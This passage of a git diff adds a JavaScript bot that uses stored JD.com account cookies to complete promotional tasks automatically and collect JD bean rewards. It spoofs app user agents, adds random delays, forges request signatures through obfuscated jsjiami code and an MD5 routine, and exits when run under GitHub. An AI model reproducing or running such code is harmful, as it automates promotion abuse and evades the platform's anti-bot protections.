]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.bean > 0 || message) { + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` + $.msg($.name, ``, msg); + allMessage += msg + } + } + if($.outFlag != 0) break + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}\n`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}\n`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.list = '' + await indexInfo(); + if($.hotFlag) message += `活动太火爆\n` + if($.hotFlag) return + if($.list){ + for(let i in $.list || []){ + $.oneTask = $.list[i] + if(guaunknownTask_addSku+"" != "true" && $.oneTask.taskName.indexOf('加购') > -1) console.log('\n如需加购请设置环境变量[guaunknownTask_addSku1]为"true"\n'); + if(guaunknownTask_addSku+"" != "true" && $.oneTask.taskName.indexOf('加购') > -1) continue; + for(let j in $.oneTask.taskList || []){ + $.task = $.oneTask.taskList[j] + console.log(`[${$.oneTask.taskName}] ${$.task.name} ${$.task.status == 4 && '已完成' || $.task.status == 3 && '未领取' || '未完成'}`) + if($.task.status != 4) await doTask('doTask', $.task.id, $.oneTask.taskId); + if($.oneTask.taskId == 3 && $.task.status != 4){ + await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) + await doTask('getPrize', $.task.id, $.oneTask.taskId); + } + if($.outFlag != 0) { + message += "\n京豆库存已空,退出脚本\n" + return + } + if($.task.status != 4) await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } + } + }else{ + console.log('获取不到任务') + } + await indexInfo(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if($.extraTaskStatus == 3 && $.outFlag == 0) await extraTaskPrize(); + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } catch (e) { + console.log(e) + } +} + +function indexInfo() { + return new Promise(async resolve => { + let sign = getSign("/tzh/combination/indexInfo",{"activityId": 11}) + $.get({ + url: `https://combination.m.jd.com/tzh/combination/indexInfo?activityId=11&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + $.list = res.data.list + $.extraTaskStatus = res.data.extraTaskStatus + + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(type, id, taskId) { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/${type}`,{"activityId": 11,"id":id,"taskId":taskId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/${type}`, + body: `activityId=11&id=${id}&taskId=${taskId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + }else if(res.msg.indexOf('京豆已被抢光') > -1){ + message += res.msg+"\n" + $.outFlag = 1 + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function extraTaskPrize() { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/extraTaskPrize`,{"activityId": 11}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/extraTaskPrize`, + body: `activityId=11&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +var _0xod9='jsjiami.com.v6',_0x5bef=[_0xod9,'anFxVlM=','Q0FmRE8=','ekV0aUk=','cHVzaA==','cHVqUkM=','bGVuZ3Ro','am9pbg==','QkVuS2U=','TEJlUFk=','c29ydA==','bWQ1','bGxOa3A=','ZnVuY3Rpb24=','c3ltYm9s','SHVOTkg=','cWRrS3o=','Q1l3eFQ=','Y2hPTlM=','aXRlcmF0b3I=','bXdqYk8=','VlBpVVY=','Y29uc3RydWN0b3I=','WVZUZVE=','cHJvdG90eXBl','RWdlUVc=','MDcwMzVjYWJiODRsbTY5NA==','Z2V0VGltZQ==','SHdLdHg=','ZXN5Ulo=','RnlPSHE=','c3RyaW5n','b2JqZWN0','WkJvb1c=','c3BsaXQ=','aVJYUlg=','ZnpVclE=','VnhmVEc=','Vm9LTGk=','QU5kTWo=','aG9kaWg=','ZENOQWM=','VGpXQnE=','Q05nYmE=','JjzusjHMGQiarhmHGJQiH.cXom.v6=='];(function(_0x4ab3e5,_0x5222de,_0x31f1e0){var _0x404a60=function(_0x567d24,_0x32f6e1,_0x4d9fdd,_0x359358,_0x5a5227){_0x32f6e1=_0x32f6e1>>0x8,_0x5a5227='po';var _0xfb4b7a='shift',_0x3c8756='push';if(_0x32f6e1<_0x567d24){while(--_0x567d24){_0x359358=_0x4ab3e5[_0xfb4b7a]();if(_0x32f6e1===_0x567d24){_0x32f6e1=_0x359358;_0x4d9fdd=_0x4ab3e5[_0x5a5227+'p']();}else if(_0x32f6e1&&_0x4d9fdd['replace'](/[JzuHMGQrhHGJQHX=]/g,'')===_0x32f6e1){_0x4ab3e5[_0x3c8756](_0x359358);}}_0x4ab3e5[_0x3c8756](_0x4ab3e5[_0xfb4b7a]());}return 0xa5c5b;};return _0x404a60(++_0x5222de,_0x31f1e0)>>_0x5222de^_0x31f1e0;}(_0x5bef,0x1cc,0x1cc00));var _0x3a21=function(_0x26c357,_0x31e3a6){_0x26c357=~~'0x'['concat'](_0x26c357);var _0x38f6ed=_0x5bef[_0x26c357];if(_0x3a21['ZjnQwh']===undefined){(function(){var _0x55d77d=function(){var _0x2d6df5;try{_0x2d6df5=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x1c1a2a){_0x2d6df5=window;}return _0x2d6df5;};var _0x4bec7d=_0x55d77d();var _0x5d2b3f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4bec7d['atob']||(_0x4bec7d['atob']=function(_0x15447c){var _0x27cd06=String(_0x15447c)['replace'](/=+$/,'');for(var _0x52d59e=0x0,_0x492075,_0x408e69,_0x44b376=0x0,_0x2e4eb8='';_0x408e69=_0x27cd06['charAt'](_0x44b376++);~_0x408e69&&(_0x492075=_0x52d59e%0x4?_0x492075*0x40+_0x408e69:_0x408e69,_0x52d59e++%0x4)?_0x2e4eb8+=String['fromCharCode'](0xff&_0x492075>>(-0x2*_0x52d59e&0x6)):0x0){_0x408e69=_0x5d2b3f['indexOf'](_0x408e69);}return _0x2e4eb8;});}());_0x3a21['oGvQST']=function(_0x4882b7){var _0x487293=atob(_0x4882b7);var _0x258ead=[];for(var _0x4f2fa0=0x0,_0xa2ac1d=_0x487293['length'];_0x4f2fa0<_0xa2ac1d;_0x4f2fa0++){_0x258ead+='%'+('00'+_0x487293['charCodeAt'](_0x4f2fa0)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x258ead);};_0x3a21['Ajteia']={};_0x3a21['ZjnQwh']=!![];}var _0xc96c33=_0x3a21['Ajteia'][_0x26c357];if(_0xc96c33===undefined){_0x38f6ed=_0x3a21['oGvQST'](_0x38f6ed);_0x3a21['Ajteia'][_0x26c357]=_0x38f6ed;}else{_0x38f6ed=_0xc96c33;}return _0x38f6ed;};function M(_0xc44a8f,_0x429a90,_0xdee559){var _0x4488a6={'CNgba':function(_0x215ac0,_0x215aad){return _0x215ac0==_0x215aad;},'fzUrQ':_0x3a21('0'),'jqqVS':function(_0x287be6,_0x58e96c){return _0x287be6+_0x58e96c;},'CAfDO':function(_0x38b00c,_0x1906ca){return _0x38b00c==_0x1906ca;},'ANdMj':_0x3a21('1'),'zEtiI':function(_0xba739d,_0x149c91){return _0xba739d(_0x149c91);},'pujRC':function(_0x5325b4,_0x2366cf){return _0x5325b4+_0x2366cf;},'VxfTG':function(_0x5173a1,_0x5eb552){return _0x5173a1+_0x5eb552;},'iRXRX':function(_0x411582,_0x32e553){return _0x411582==_0x32e553;},'VoKLi':function(_0x1e1ab6,_0xc55723){return _0x1e1ab6==_0xc55723;},'hodih':function(_0xa982a7,_0x531bdc){return _0xa982a7(_0x531bdc);},'dCNAc':function(_0x17dede,_0x2a2f62){return _0x17dede!==_0x2a2f62;},'TjWBq':_0x3a21('2'),'BEnKe':function(_0x390681,_0x2994f8){return _0x390681+_0x2994f8;},'LBePY':function(_0x74c611,_0x49f5f4){return _0x74c611+_0x49f5f4;},'llNkp':function(_0x302fe3,_0x5de6de){return _0x302fe3+_0x5de6de;}};var _0x1f1f5c='',_0x110178=_0xdee559[_0x3a21('3')]('?')[0x1]||'';if(_0xc44a8f){if(_0x4488a6[_0x3a21('4')](_0x4488a6[_0x3a21('5')],typeof _0xc44a8f))_0x1f1f5c=_0x4488a6[_0x3a21('6')](_0xc44a8f,_0x110178);else if(_0x4488a6[_0x3a21('7')](_0x4488a6[_0x3a21('8')],_0x4488a6[_0x3a21('9')](x,_0xc44a8f))){if(_0x4488a6[_0x3a21('a')](_0x4488a6[_0x3a21('b')],_0x4488a6[_0x3a21('b')])){if(_0x4488a6[_0x3a21('c')](_0x4488a6[_0x3a21('5')],typeof _0xc44a8f))_0x1f1f5c=_0x4488a6[_0x3a21('d')](_0xc44a8f,_0x110178);else if(_0x4488a6[_0x3a21('e')](_0x4488a6[_0x3a21('8')],_0x4488a6[_0x3a21('f')](x,_0xc44a8f))){var _0x3ff3f9=[];for(var _0x3a1019 in _0xc44a8f)_0x3ff3f9[_0x3a21('10')](_0x4488a6[_0x3a21('d')](_0x4488a6[_0x3a21('11')](_0x3a1019,'='),_0xc44a8f[_0x3a1019]));_0x1f1f5c=_0x3ff3f9[_0x3a21('12')]?_0x4488a6[_0x3a21('6')](_0x3ff3f9[_0x3a21('13')]('&'),_0x110178):_0x110178;}}else{var _0x407463=[];for(var _0x3f044c in _0xc44a8f)_0x407463[_0x3a21('10')](_0x4488a6[_0x3a21('14')](_0x4488a6[_0x3a21('15')](_0x3f044c,'='),_0xc44a8f[_0x3f044c]));_0x1f1f5c=_0x407463[_0x3a21('12')]?_0x4488a6[_0x3a21('15')](_0x407463[_0x3a21('13')]('&'),_0x110178):_0x110178;}}}else _0x1f1f5c=_0x110178;if(_0x1f1f5c){var _0xed2a35=_0x1f1f5c[_0x3a21('3')]('&')[_0x3a21('16')]()[_0x3a21('13')]('');return $[_0x3a21('17')](_0x4488a6[_0x3a21('18')](_0xed2a35,_0x429a90));return _0x4488a6[_0x3a21('18')](_0xed2a35,_0x429a90);}return $[_0x3a21('17')](_0x429a90);return _0x429a90;}function x(_0x543ed7){var _0x59f6a8={'mwjbO':function(_0x1d95c8,_0x185b22){return _0x1d95c8===_0x185b22;},'qdkKz':_0x3a21('19'),'VPiUV':function(_0x44e857,_0x30eba3){return _0x44e857===_0x30eba3;},'YVTeQ':function(_0x14d902,_0x3e6382){return _0x14d902!==_0x3e6382;},'chONS':_0x3a21('1a'),'HuNNH':function(_0x49e6ac,_0x3b178a){return _0x49e6ac===_0x3b178a;},'CYwxT':function(_0x3acb6a,_0x86b540){return _0x3acb6a===_0x86b540;},'EgeQW':function(_0x3eb366,_0x504ccf){return _0x3eb366(_0x504ccf);}};return x=_0x59f6a8[_0x3a21('1b')](_0x59f6a8[_0x3a21('1c')],typeof Symbol)&&_0x59f6a8[_0x3a21('1d')](_0x59f6a8[_0x3a21('1e')],typeof Symbol[_0x3a21('1f')])?function(_0x543ed7){return typeof _0x543ed7;}:function(_0x543ed7){return _0x543ed7&&_0x59f6a8[_0x3a21('20')](_0x59f6a8[_0x3a21('1c')],typeof Symbol)&&_0x59f6a8[_0x3a21('21')](_0x543ed7[_0x3a21('22')],Symbol)&&_0x59f6a8[_0x3a21('23')](_0x543ed7,Symbol[_0x3a21('24')])?_0x59f6a8[_0x3a21('1e')]:typeof _0x543ed7;},_0x59f6a8[_0x3a21('25')](x,_0x543ed7);}function getSign(_0x275690,_0x3d87d0){var _0x574204={'HwKtx':_0x3a21('26'),'esyRZ':function(_0x3b0b1b,_0x1b2926){return _0x3b0b1b+_0x1b2926;},'FyOHq':function(_0x37ac02,_0x313227,_0xc09a5c,_0x49ff18){return _0x37ac02(_0x313227,_0xc09a5c,_0x49ff18);}};let _0x3df4f3=new Date()[_0x3a21('27')]();_0x3d87d0['t']=_0x3df4f3;var _0x25b268=_0x574204[_0x3a21('28')];var _0x3c4a45=_0x3df4f3,_0x553e06=_0x574204[_0x3a21('29')](_0x25b268,_0x3c4a45);let _0x70c008={'sign':_0x574204[_0x3a21('2a')](M,_0x3d87d0,_0x553e06,_0x275690),'timestamp':_0x3c4a45};return _0x70c008;};_0xod9='jsjiami.com.v6'; + +function MD5(){ + // MD5 + !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_UnknownTask3.js b/backUp/gua_UnknownTask3.js new file mode 100644 index 